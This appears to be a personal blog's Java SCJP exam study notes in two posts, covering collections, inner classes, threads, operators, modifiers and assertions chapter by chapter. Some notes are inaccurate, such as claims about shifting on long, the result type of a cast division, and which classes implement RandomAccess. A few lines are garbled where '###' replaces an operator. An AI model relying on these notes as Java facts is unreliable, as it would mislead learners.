&lt;p&gt;This is the continuation of Continued in &lt;a href="aceing-scjp-notes-from-kathy-sierra-prep-book-part-1"&gt;Part 1&lt;/a&gt;
notes.&lt;/p&gt;
&lt;h3 id="chapter-7"&gt;Chapter 7&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Comparing two reference variables of different hierarchies gives
COMPILATION error&lt;/li&gt;
&lt;li&gt;STRINGBUFFER does NOT have an overridden equals method. However,
STRING and WRAPPER classes have them&lt;/li&gt;
&lt;li&gt;&lt;code&gt;equals()&lt;/code&gt; =&amp;gt; Reflexive (x.x), Symmetric (x.y) and
Transitive (x.y.z) and consistent&lt;/li&gt;
&lt;li&gt;If two objects are equal then their hashcodes should be equal&lt;/li&gt;
&lt;li&gt;&lt;code&gt;equals()&lt;/code&gt; takes OBJECTas parameter and returns boolean.
Hashcode() returns int&lt;/li&gt;
&lt;li&gt;Refer to Hashcode Contract and Table&lt;/li&gt;
&lt;li&gt;Refer to Types of Collections&lt;/li&gt;
&lt;li&gt;Only List and Set extend Collection not Map&lt;/li&gt;
&lt;li&gt;&lt;code&gt;java.util.Collection&lt;/code&gt; is the Superclass for List and Set
while &lt;code&gt;java.util.Collections&lt;/code&gt; is the class with
utilities&lt;/li&gt;
&lt;li&gt;Refer to Collection Class Hierarchy&lt;/li&gt;
&lt;li&gt;An implementation of collection can NEVER be Unordered if it is
sorted but all other combinations is possible&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HashSet&lt;/em&gt; - UnOrdered and UnSorted. &lt;em&gt;LinkedHashSet&lt;/em&gt; -
Ordered and UnSorted&lt;/li&gt;
&lt;li&gt;Vector(synchronized) and ArrayList are the Only to classes to
implement RandomAccess&lt;/li&gt;
&lt;li&gt;&lt;em&gt;LinkedHashSet&lt;/em&gt; can be iterated in the Order of Entry or in
the Order of Last accessed(useful for caching)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;TreeSet&lt;/em&gt; uses a Red-Black Structure for the natural Ordering
and has a constructor for defining the natural ordering of the
Objects&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hashtable&lt;/em&gt; is synchronized and does NOT allow a null key
while HashMap is not synchronized and allows one null key&lt;/li&gt;
&lt;li&gt;Refer to Collection Interfaces and Concrete Implementation
Classes&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-8"&gt;Chapter 8&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Top Level Nested Class is an Inner class marked static&lt;/li&gt;
&lt;li&gt;When trying to create an innerclass object outside the Outer Class
or in a Static method of the Outer Class, we need to CREATE an Object of
the Outer class -
&lt;code&gt;MyOuter.Myinner inObj = new MyOuter().new MyInner();&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To Access the &lt;em&gt;this&lt;/em&gt; object, the outer class &lt;em&gt;this&lt;/em&gt; is
referred as &lt;em&gt;MyOuter.this&lt;/em&gt; within the innerclass instance
members&lt;/li&gt;
&lt;li&gt;The Inner class members can be STATIC only if the inner class itself
is declared as STATIC&lt;/li&gt;
&lt;li&gt;Modifiers for the CLASS LEVEL inner class are : &lt;em&gt;final, abstract,
public&lt;/em&gt; (allowed for all classes), &lt;em&gt;private, protected&lt;/em&gt; and
&lt;em&gt;static&lt;/em&gt; (only for inner classes)&lt;/li&gt;
&lt;li&gt;Modifiers for the METHOD LEVEL inner class are: abstract and final
(cannot be used together)&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Method Level inner Class CANNOT access the method local variables
unless it is marked final&lt;/li&gt;
&lt;li&gt;It can access the class level variables&lt;/li&gt;
&lt;li&gt;The class can be instantiated only within the method and it has to
be done only after the class declaration is completed&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="7" type="1"&gt;
&lt;li&gt;&lt;code&gt;Animal h = new Horse();&lt;/code&gt; Here since the object is
determined at runtime ONLY THE OVERRIDEN METHODS of HORSE can be
accessed and the Animal methods can be accessed&lt;/li&gt;
&lt;li&gt;For Anonymous Inner Class, we CANNOT create an altogether new Class.
We have to either extend or implement any existing class. This means we
can only OVERRIDE the methods available and NO new methods can be added
in Anonymous Inner Class(though new methods can be added, they CANNOT be
accessed at all outside the anonymous class as the object type would be
that of the superclass used.&lt;/li&gt;
&lt;li&gt;In anonymous Inner class when you access the class object, it
extends or implements the superclass implicitly, hence the Constructors
will be called when the class instance is accessed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Runnable r = new Runnable()&lt;/code&gt;; (compilation Error) as
Runnable is an Interface. However,
&lt;code&gt;Runnable r = new  Runnable() {public void run(){}};&lt;/code&gt; is
vaild&lt;/li&gt;
&lt;li&gt;When the anonymous class is created within the argument of a method,
the closing semicolon appears after the argument close bracket.
&lt;code&gt;###&amp;gt; });&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A static nested class does not have acccess to the member and
instance variables of the outer class. Look out for questions which does
this&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Normal Class:
&lt;code&gt;MyOuter.MyInner inObj = new MyOuter().new MyInner();&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Static Class:
&lt;code&gt;MyOuter.MyInner inObj = MyOuter.MyInner();&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="13" type="1"&gt;
&lt;li&gt;Static Nested Class can have both static and non-static members but
can access ONLY the static members of the outer class&lt;/li&gt;
&lt;li&gt;When an anonymous class implements an interface, it should override
the abstract methods else compilation error occurs&lt;/li&gt;
&lt;li&gt;Check for the CORRECT Presence of the Semicolons before going into
the syntax and logic checking for inner classes
&lt;code&gt;Object o = new Horse("zippo"); Horse h = (Horse) o; o.eat();&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If the cast to Horse is not done, then the object can access only
the OBJECT methods and the Horse Overriden ones only&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-9"&gt;Chapter 9&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;code&gt;start()&lt;/code&gt;, &lt;code&gt;run()&lt;/code&gt;, &lt;code&gt;yield()&lt;/code&gt; and
&lt;code&gt;sleep()&lt;/code&gt; - &lt;em&gt;Important methods in Threads&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Types of Instantiating a Thread Class:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Extends Thread - &lt;code&gt;MyThread t = new MyThread();&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3" type="1"&gt;
&lt;li&gt;Implements Runnable -
&lt;code&gt;MyRunnable r = new MyRunnable(); Thread t = new Thread(r);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Calling the &lt;code&gt;run()&lt;/code&gt; DOES NOT start a new stack though its
legal. We have to use &lt;code&gt;t.start()&lt;/code&gt; for starting the execution
in a new stack&lt;/li&gt;
&lt;li&gt;Methods for Influencing Execution Control of Threads&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;java.lang.Thread - static sleep(long), static yield(), final join(),
final setPriority(int)&lt;/li&gt;
&lt;li&gt;java.lang.Object - final wait, final notify, final notifyAll()”&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="6" type="1"&gt;
&lt;li&gt;&lt;code&gt;sleep&lt;/code&gt; - guaranteed to sleep for the given time except
InterruptedException&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yield&lt;/code&gt; - gives control back, not guaranteed not to
run&lt;/li&gt;
&lt;li&gt;&lt;code&gt;join&lt;/code&gt; - guaranteed to stop execution until the joined
thread completes&lt;/li&gt;
&lt;li&gt;All these three above methods keeps the lock acquired.&lt;/li&gt;
&lt;li&gt;Notes about &lt;em&gt;synchronized&lt;/em&gt; block:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Only methods can be synchronized&lt;/li&gt;
&lt;li&gt;Only one lock&lt;/li&gt;
&lt;li&gt;No need to synchronize all the methods in a class&lt;/li&gt;
&lt;li&gt;multiple threads can still access the non-synchronized methods&lt;/li&gt;
&lt;li&gt;When a thread goes to sleep, it takes the lock with it&lt;/li&gt;
&lt;li&gt;when a thread acquires a lock on an object, no other method can
access any of the synchronized methods in the class&lt;/li&gt;
&lt;li&gt;A thread can have multiple locks&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="11" type="1"&gt;
&lt;li&gt;&lt;code&gt;wait&lt;/code&gt;, &lt;code&gt;notify&lt;/code&gt; and
&lt;code&gt;notifyAll&lt;/code&gt;(methods of java.lang.Object) should be called
from within a synchronized block because it has to own the lock before
waiting or notifying else will get IllegalMonitorStateException&lt;/li&gt;
&lt;li&gt;Even when notify is called, the object lock will NOT be released
until the end of the synchronized block&lt;/li&gt;
&lt;li&gt;Refer to Key Thread Methods&lt;/li&gt;
&lt;li&gt;Check for &lt;code&gt;sleep()&lt;/code&gt; or &lt;code&gt;wait()&lt;/code&gt; method without
a try-catch block for checked (InterruptedException)&lt;/li&gt;
&lt;li&gt;Check for the same thread being started twice&lt;/li&gt;
&lt;li&gt;Check for synchronized being used on an non-object&lt;/li&gt;
&lt;li&gt;Synchronizing the code that calls the calculating method DOES NOT
synchronize the action, the synchronized block needs to be applied to
the method doing the actual calculation.&lt;/li&gt;
&lt;li&gt;Don’t synchronize the run() method or the code inside it as there
might be multiple threads created and each will have its own run method.
So synchronize the called method&lt;/li&gt;
&lt;li&gt;When two threads are created and a single object is used for
accessing the methods, the wait, notify should be within synchronized
block as the thread should own the lock of the object before the methods
are called. Otherwise, it will throw a runtime exception&lt;/li&gt;
&lt;li&gt;When superclass object reference is used for a sub class object,
only the OVERRIDEN methods can be accessed and the variables if printed
are from SUPER CLASS only&lt;/li&gt;
&lt;li&gt;return type should always be immediately before the method name or
compilation error&lt;/li&gt;
&lt;li&gt;A reference passed into a method is passed as if it were a copy of a
pointer pointer rather than the actual object. Thus if that reference is
assigned to a null it makes no difference to any other copy of that
pointer. Thus the code within the method findOut makes no difference to
any other references. Although reference z is assigned to null reference
y still points to the object so no objects are eligible for garbage
collection.&lt;/li&gt;
&lt;li&gt;Because of the way twos complement number representation works the
unsigned right shift operation means a small shift in a negative number
can return a very large value so the output of option 1 will be much
larger than 10.&lt;/li&gt;
&lt;li&gt;The unsigned right shift places no significance on the leading bit
that indicates the sign. For this shift the value 1 of the bit sign is
replaced with a zero turning the result into a positive number for
option 2.&lt;/li&gt;
&lt;li&gt;Shifting can be done only on int, short or byte NOT on long and
ALWAYS returns an int (32 bit)&lt;/li&gt;
&lt;li&gt;If shifting is done on a long, then the result is always a long (64
bit)&lt;/li&gt;
&lt;li&gt;An else clause always belongs to the innermost if without an else,
irrespective of the indentation&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;In switch case, no two variables can be same&lt;/li&gt;
&lt;li&gt;If switching on a byte, case 128 gives compilation error&lt;/li&gt;
&lt;li&gt;Only final int can be used in a case, since the value must be
confirmed at compile time&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="28" type="1"&gt;
&lt;li&gt;assertions are for situations that will never happen&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assert(true check)&lt;/code&gt; - Throws AssertionError if the tests
failed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assert(check) : expression&lt;/code&gt; - check is always boolean
and expression is never void&lt;/li&gt;
&lt;li&gt;assert is a keyword&lt;/li&gt;
&lt;li&gt;If there is any statement between the label and the loop then, that
label is NOT recogonized and hence compliation error occurs. Also,
labels can be of the same name and the innermost one is taken into
consideration&lt;/li&gt;
&lt;li&gt;Escape slashes are allowed only for b,t,n,f,r, “,’,&lt;br/&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#,%&lt;/code&gt; cannot be used in a variable name and a number
cannot be used at the start of a variable name&lt;/li&gt;
&lt;li&gt;If a variable is final then if the casting lies within the range,
casting is not needed. &lt;code&gt;final short s1 = 1;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;byte s2 = s1;&lt;/code&gt; - compiles correctly&lt;/li&gt;
&lt;li&gt;&lt;em&gt;true&lt;/em&gt;, &lt;em&gt;false&lt;/em&gt; and &lt;em&gt;null&lt;/em&gt; are
case-SENSITIVE&lt;/li&gt;
&lt;li&gt;A call to the super class method can be done using super.methodname
and can be placed anywhere in the method.(Static rule applies).Similarly
the superclass variables can be accessed using super.also&lt;/li&gt;
&lt;li&gt;The REFERENCE type decides which overloaded method is being called,
while OBJECT type decides which overriden method is called. In fact,
&lt;code&gt;Animal a = new Horse(); a.eat("Carrots");&lt;/code&gt; give COMPILATION
ERROR as the reference type is used for methods present check&lt;/li&gt;
&lt;li&gt;When using &lt;code&gt;super()&lt;/code&gt; or &lt;code&gt;this()&lt;/code&gt; to invoke
constructors, they must be on the first line. Any methods that need to
be used needs to be static as the object would not be created until the
SUPER constructor completes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;return (long) x/y&lt;/code&gt; will give float as the cast is only
for x. Also int/int gives only int.&lt;/li&gt;
&lt;li&gt;ALWAYS check the NUMERATOR and DENOMINATOR For the return type. If
wither Num or Denom is float or double then the result is also float or
double&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="miscellaneous"&gt;Miscellaneous&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;First Check for Access Modifiers&lt;/li&gt;
&lt;li&gt;Check for static refering no-static&lt;/li&gt;
&lt;li&gt;Check for illegal subclassing&lt;/li&gt;
&lt;li&gt;Watch for method or class names for keyword list. They are not
keywords - &lt;code&gt;x=3 ###&amp;gt; ~x = -4 ###&amp;gt; ~x = - (x +1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int []a3,[]a4;&lt;/code&gt; here after a comma only a variable
should be present&lt;/li&gt;
&lt;li&gt;ALWAYS remember if one else is executed ,all the other else if/else
will NOT be executed&lt;/li&gt;
&lt;li&gt;Even if the called method is static, &lt;em&gt;this&lt;/em&gt; can NEVER be used
inside a static method&lt;/li&gt;
&lt;li&gt;&lt;em&gt;###&lt;/em&gt; will work correctly for STRING values if No String
Objects are created. &lt;code&gt;"john"###"john"&lt;/code&gt; works correctly.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;start()&lt;/code&gt; method is used to schedule a thread for
execution&lt;/li&gt;
&lt;li&gt;&lt;em&gt;protected void finalize() throws Throwable&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;concat()&lt;/em&gt; is a method of String while append is for
StringBuffer&lt;/li&gt;
&lt;li&gt;All the methods in StringBuffer are synchronized&lt;/li&gt;
&lt;/ol&gt;</content><category term="Software-Engineering"/><category term="java"/><category term="certification"/><category term="library"/><category term="coding"/><category term="development"/><category term="scjp"/><category term="kathy"/><category term="sierra"/></entry><entry><title>Aceing SCJP - Notes from Kathy Sierra Prep book - Part 1</title><link href="https://sengopal.me/posts/aceing-scjp-notes-from-kathy-sierra-prep-book-part-1" rel="alternate"/><published>2008-09-03T00:00:00-07:00</published><updated>2008-09-03T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2008-09-03:/posts/aceing-scjp-notes-from-kathy-sierra-prep-book-part-1</id><summary type="html">I recently completed the Sun Certified Java Programmer from Sun Microsystems and thought of sharing my notes from the Kathy Sierra SCJP preparation book which was the best material to prepare for this certification.</summary><content type="html">&lt;h3 id="chapter-1"&gt;Chapter 1&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Read the keywords list&lt;/li&gt;
&lt;li&gt;Always check variable, class and method name for the keywords&lt;/li&gt;
&lt;li&gt;Variable range is -2(bits – 1)&lt;/li&gt;
&lt;li&gt;Ranges of primitive numbers&lt;/li&gt;
&lt;li&gt;Octal (max): 21 digits and Hexadecimal (max): 16 digits without
leading 0 and 0x&lt;/li&gt;
&lt;li&gt;Hexadecimal is case-Insensitive&lt;/li&gt;
&lt;li&gt;Octal and Hexadecimal can be used for long also using L suffix&lt;/li&gt;
&lt;li&gt;Unicode Character is represented as char x = ‘04E’&lt;/li&gt;
&lt;li&gt;char being assigned out of range integer values (above 65535 or -ve
numbers needs a cast to (char)&lt;/li&gt;
&lt;li&gt;Size should NOT be given when declaring an array int[5] x is
wrong&lt;/li&gt;
&lt;li&gt;Primitive arrays initialize the variables to default value and
Object arrays to null&lt;/li&gt;
&lt;li&gt;Negative numbers gives ArrayIndexOutOfBoundsException
(RuntimeException)&lt;/li&gt;
&lt;li&gt;Arrays has a VARIABLE known as length&lt;/li&gt;
&lt;li&gt;Size should NOT be given for anonymous array int[] x = new int[]
{4,5}&lt;/li&gt;
&lt;li&gt;For primitives, smaller length values (char, byte and short) can be
placed in an int array&lt;/li&gt;
&lt;li&gt;For Objects, its subclass reference variables can be placed in an
Object array&lt;/li&gt;
&lt;li&gt;Primitive array variables cannot be assigned there restrictive
equivalent variables. Int[] x = char[] {6,7,8}. &lt;strong&gt;This is not
correct&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;For Object, array variables CAN be assigned there subclass array
variables (unlike primitive variables)&lt;/li&gt;
&lt;li&gt;Refer to Default Values for Primitive and Reference types&lt;/li&gt;
&lt;li&gt;Class level String variables will be initialized only to NULL&lt;/li&gt;
&lt;li&gt;Local and Class Level Array Variables will be initialized when the
array is INITIALIZED int[] a = new int[5]; This will make all the values
as 0 in the array, irrespective of where it is declared and
initialized&lt;/li&gt;
&lt;li&gt;Local Variables (primitive and Object references) should always be
INITIALIZED before use, or compiler error&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-2"&gt;Chapter 2&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;&lt;code&gt;strictfp&lt;/code&gt; is only for class and a method and NEVER for a
variable. It can be combined with either final or abstract.&lt;/li&gt;
&lt;li&gt;If a method is ending with a semicolon then that class and the
method should be marked abstract (Not needed for interface).&lt;/li&gt;
&lt;li&gt;A class can be marked only public or default access. (Not even
Protected is allowed)&lt;/li&gt;
&lt;li&gt;If a class has default access, it can be accessed only within the
package level (not even above or sub-packages). Not even importing will
work.&lt;/li&gt;
&lt;li&gt;abstract and final cannot be used on the class at the same time.
This will give a compilation error&lt;/li&gt;
&lt;li&gt;When a subclass is created, then the methods from the superclass can
be accessed by the subclass object or by using this operator (in the
subclass methods)&lt;/li&gt;
&lt;li&gt;Watch out for public static void main accessing the member variables
and methods without an Object reference. (Static method cannot access
non-static variables)&lt;/li&gt;
&lt;li&gt;Private methods CANNOT be overriden. Even if they have the same name
and signature, technically it is NOT overriding&lt;/li&gt;
&lt;li&gt;&lt;code&gt;default&lt;/code&gt; method can be accessed only if the class
accessing belongs to the same package PACKAGE Restriction&lt;/li&gt;
&lt;li&gt;Protected method can be accessed through inhertiance though the
subclass is from a different package - &lt;strong&gt;Package +
kids&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;When a subclass outside the package inherits the protected member
(inheritance), the member becomes private to any codce outside the
class&lt;/li&gt;
&lt;li&gt;Refer to Access to class Members lesson.&lt;/li&gt;
&lt;li&gt;The first CONCRETE subclass of an abstract class must implement all
abstract methods of the superclasses
&lt;code&gt;public void setSpeed(int speed) { speed=speed;}&lt;/code&gt;. This will
just take the local variable speed. We need to declare it as this.speed
(NO compilation error)&lt;/li&gt;
&lt;li&gt;Any variables declared as final has to be initialized either in the
declaration itself or in the constructor else Compilation error occurs
(If it is not marked final, instance variables need not be initialized).
Also it cannot be overriden by sub class constructors.&lt;/li&gt;
&lt;li&gt;STATIC methods cannot be overriden&lt;/li&gt;
&lt;li&gt;abstract methods cannot be declared PRIVATE (compliation error),
SYNCHRONIZED, strictfp, native and STATIC synchronized, native and
strictfp modifiers can be set only to Methods not variables and
classes&lt;/li&gt;
&lt;li&gt;Only instance variables can be marked transient and volatile (not
methods or classes)&lt;/li&gt;
&lt;li&gt;Instance variables can be marked four access levels, final,
transient and volatile&lt;/li&gt;
&lt;li&gt;Instance variables cannot be marked abstract, synchronized, native
and strictfp&lt;/li&gt;
&lt;li&gt;Refer to Comparison of modifiers for variables and methods&lt;/li&gt;
&lt;li&gt;Local variables don’t get default values and should be initialized
before use&lt;/li&gt;
&lt;li&gt;Instance variables marked &lt;code&gt;final&lt;/code&gt; should be initialized
in declaration itself or in the CONSTRUCTOR itself - (Compilation
error)&lt;/li&gt;
&lt;li&gt;INTERFACE variables are always public static final. So cannot be
reassigned&lt;/li&gt;
&lt;li&gt;Refer to things that can be static and non-static&lt;/li&gt;
&lt;li&gt;Explicit imports are resolved first, then the classes from the
current package and last- the implicit imports&lt;/li&gt;
&lt;li&gt;for &lt;code&gt;java.lang.Runnable&lt;/code&gt; interface question, only one
method available is public void run(){}&lt;/li&gt;
&lt;li&gt;Refer to Interface Properties&lt;/li&gt;
&lt;li&gt;A variable declared in the interface cannot be changed at all&lt;/li&gt;
&lt;li&gt;A concrete implementation of an interface need not declare the
throws clause of the abstract method, however cannot add any new ones
only the subclasses or the class declared in the abstract method
itself&lt;/li&gt;
&lt;li&gt;Only INTERFACEs can extend more than one interface, but it CANNOT
implement any class&lt;/li&gt;
&lt;li&gt;Synchronized can be applied to static and final methods&lt;/li&gt;
&lt;li&gt;When a class with protected method is created, the method can be
accessed ONLY by the subclass ‘this’ or subclass objects WITHIN the
class (Super class objects give compilation error).&lt;/li&gt;
&lt;li&gt;Outside the subclass, the method cannot be accessed using
objects&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-3"&gt;Chapter 3&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Compound operators (+=) have an implicit cast&lt;/li&gt;
&lt;li&gt;For divide by zero, integers will give ArithmethicException at
runtime, while floating point numbers returns positive or negative
infinity(same for using the reminder operator also)&lt;/li&gt;
&lt;li&gt;The Sysouts works from left to right. If the left and right operand
is integer then the result is integer else if one of them is a string
then the result is a string&lt;/li&gt;
&lt;li&gt;Watch out for increment/decrement operators on a FINAL variable&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; (right shift), the sign bit gets copied
over. Hence the sign remains the same(-ve number remains negative). For
&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; (left shift) the right side is ALWAYS FILLED with
zeroes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt; (UNSIGNED Right Shift) always fills the
left side with zeroes irrespective of the sign bit.Hence this shift
always gives a positive number&lt;/li&gt;
&lt;li&gt;When the shift number is greater than the bit length, then the
reminder is used for shifting. Ex:
&lt;code&gt;int x = 2; x &amp;gt;&amp;gt;= 34&lt;/code&gt;. This actually means
&lt;code&gt;x &amp;gt;&amp;gt;= 2&lt;/code&gt; where &lt;code&gt;34%32 = 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;&amp;lt;Right Shift divides the number by
&lt;code&gt;2^bits(Ex: x &amp;gt;&amp;gt; 3 means x/2^3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;&amp;lt;Left Shift multiplies the number by
&lt;code&gt;2^bits(Ex: x &amp;lt;&amp;lt; 3 means x * 2^3)&lt;/code&gt;&amp;gt;&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;&amp;lt;&lt;code&gt;&amp;amp; - Logical AND; | - Logical OR; ^ - Exclusive OR; ~ - Bitwise compliment&lt;/code&gt;&amp;gt;&amp;gt;&lt;/li&gt;
&lt;li&gt;Refer to Values of the Truth table&lt;/li&gt;
&lt;li&gt;SHORT CIRCUIT Operators work only with Boolean Expressions and NOT
with numbers.&lt;/li&gt;
&lt;li&gt;However, the logical AND and OR can work with both shadowing
Primitives and Object references&lt;/li&gt;
&lt;li&gt;Watch out for EXOR being mistaken for power of (Always use
Math.power of)&lt;/li&gt;
&lt;li&gt;Always &lt;code&gt;&amp;amp;&lt;/code&gt; takes precedence over &lt;code&gt;|&lt;/code&gt; . So
&lt;code&gt;&amp;amp;&lt;/code&gt; is evaluated first, in a boolean expression&lt;/li&gt;
&lt;li&gt;Whenever any action happens on a String Object, a new String object
is created as the result&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-4"&gt;Chapter 4&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;The else will always belong to the innermost if which doesn’t have
an else&lt;/li&gt;
&lt;li&gt;The arguments to switch statement can only be byte,short,char and
int&lt;/li&gt;
&lt;li&gt;The switch can check only for equality and the case arguments must
be determined at runtime. So they have to be either literal constants or
final variables&lt;/li&gt;
&lt;li&gt;If switch(byte variable) is used, then if the case value is greater
than 127 then COMPILATION error occurs&lt;/li&gt;
&lt;li&gt;In switch case, two case literals cannot have the same value&lt;/li&gt;
&lt;li&gt;&lt;code&gt;default&lt;/code&gt; can be placed anywhere in switch case and it
will also follow the rule of fall-through&lt;/li&gt;
&lt;li&gt;The scope of the variables declared in the for loop is within the
for-loop.&lt;/li&gt;
&lt;li&gt;In a For Loop, Initialization is performed and CONDITION is checked
before the first execution&lt;/li&gt;
&lt;li&gt;Iteration will run after every execution and then only comes out of
the loop. However, if break, System,exit or return is given inside the
for-loop the iteration is NOT executed&lt;/li&gt;
&lt;li&gt;&lt;code&gt;continue&lt;/code&gt; should be within a loop while break should be
within a loop or switch statement&lt;/li&gt;
&lt;li&gt;A try clause Should always have either catch or finally block which
should immediately follow the try clause without any statements in
between&lt;/li&gt;
&lt;li&gt;If the subclass is placed after the superclass in the exception
catch, COMPILATION Error occcurs&lt;/li&gt;
&lt;li&gt;Any method “ducking” the exception should also declare the throws
clause, except for RunTimeExceptions&lt;/li&gt;
&lt;li&gt;Error or subclass of Error are always unchecked. So it is not
required to catch them&lt;/li&gt;
&lt;li&gt;For re-throwing the exceptions also(commonly from a catch block), we
need to declare the exceptions&lt;/li&gt;
&lt;li&gt;Assertion is always tested for true condition, if the condition
returns false, AssertionError is thrown&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ex: asssert (x&amp;lt; y) : "Error statement "+y&lt;/code&gt;. The First
Expression should always result in a boolean while the second expression
should always result in a value ( just like sysout)(Cannot be a call to
a void method)&lt;/li&gt;
&lt;li&gt;Refer to Legal and Ilegal assert Expressions&lt;/li&gt;
&lt;li&gt;assertions are disabled by default. So we can use assert as an
identifier. But if we turn on assertions, then assert is a keyword -
&lt;code&gt;Turn On: javac -source 1.4 test.ClassName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To Compile without assertions (default)
&lt;code&gt;javac -source 1.3 test.ClassName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Enabling assertions while executing :
&lt;code&gt;java (-ea or -enableassertions) test.ClassName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Disabling assertions while executing :
&lt;code&gt;java (-da or -disableassertions) test.ClassName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The above enabling or disabling can be given without any class or
package name for all classes or only at package or class level
&lt;code&gt;java -ea da:test.ClassName&lt;/code&gt; enables for all except
test.ClassName (same for package as well)&lt;/li&gt;
&lt;li&gt;Refer to Assertion Command Line switches&lt;/li&gt;
&lt;li&gt;AssertionError can be caught but it is not
appropriate(non-recommended) AssertionError object is not
accessible&lt;/li&gt;
&lt;li&gt;Assertion recommendations:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Do not use assertions to validate arguments to a public method
(needs to be checked mandatorily)&lt;/li&gt;
&lt;li&gt;Do use assertions to validate arguments to a private method&lt;/li&gt;
&lt;li&gt;Do not use assertions to validate command-line arguments&lt;/li&gt;
&lt;li&gt;Do use assertions, even in public methods, to check for cases that
you know are never, ever supposed to happen (default of a switch Ex:
default: &lt;code&gt;assert false;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Do not use assert expressions that can cause side effects (method
calls or value changing ones)&lt;/li&gt;
&lt;li&gt;Do not use assertions in private getters and setters”&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="27" type="1"&gt;
&lt;li&gt;If a variable is marked FINAL, always check for any code that
changes the value&lt;/li&gt;
&lt;li&gt;The VM evaluates all assertion flags from left to right&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-5"&gt;Chapter 5&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;getters - Accessors and setters - mutators&lt;/li&gt;
&lt;li&gt;When the instance variables are public, watch for questions about
whether the values will always be as those set in the settters&lt;/li&gt;
&lt;li&gt;IS-A means extends (subclass). IS-A, extends, derived from,
Inherited from, instance of, subtype of all means subclassing&lt;/li&gt;
&lt;li&gt;HAS-A means having a reference variable of type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Animal a = new Horse();&lt;/code&gt; a can access methods which are
ONLY overridden by the Horse Object and CANNOT access methods which are
present only in the Horse Class. However, it can access all methods of
Animal, though they are not present in the Horse&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Animal a = new Horse(); a.eat()&lt;/code&gt; will call the HORSE
object eat as the object type is decided by virtual method invocation
for OVERRIDING methods&lt;/li&gt;
&lt;li&gt;Rules for Overriding:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Argument list and type, return type should match&lt;/li&gt;
&lt;li&gt;Access levels can be less retrictive but CANNOT be more
restrictive&lt;/li&gt;
&lt;li&gt;There cannot be additional broader exceptions thrown, however it can
be lesser or narrower (subclass can be thrown)”&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="8" type="1"&gt;
&lt;li&gt;Overload can change the return type, however changing ONLY the
return type is not a valid overload&lt;/li&gt;
&lt;li&gt;Overload can change the argument list, return type, access modifier,
can give broader and new exceptions, overloaded in the same or
subclass&lt;/li&gt;
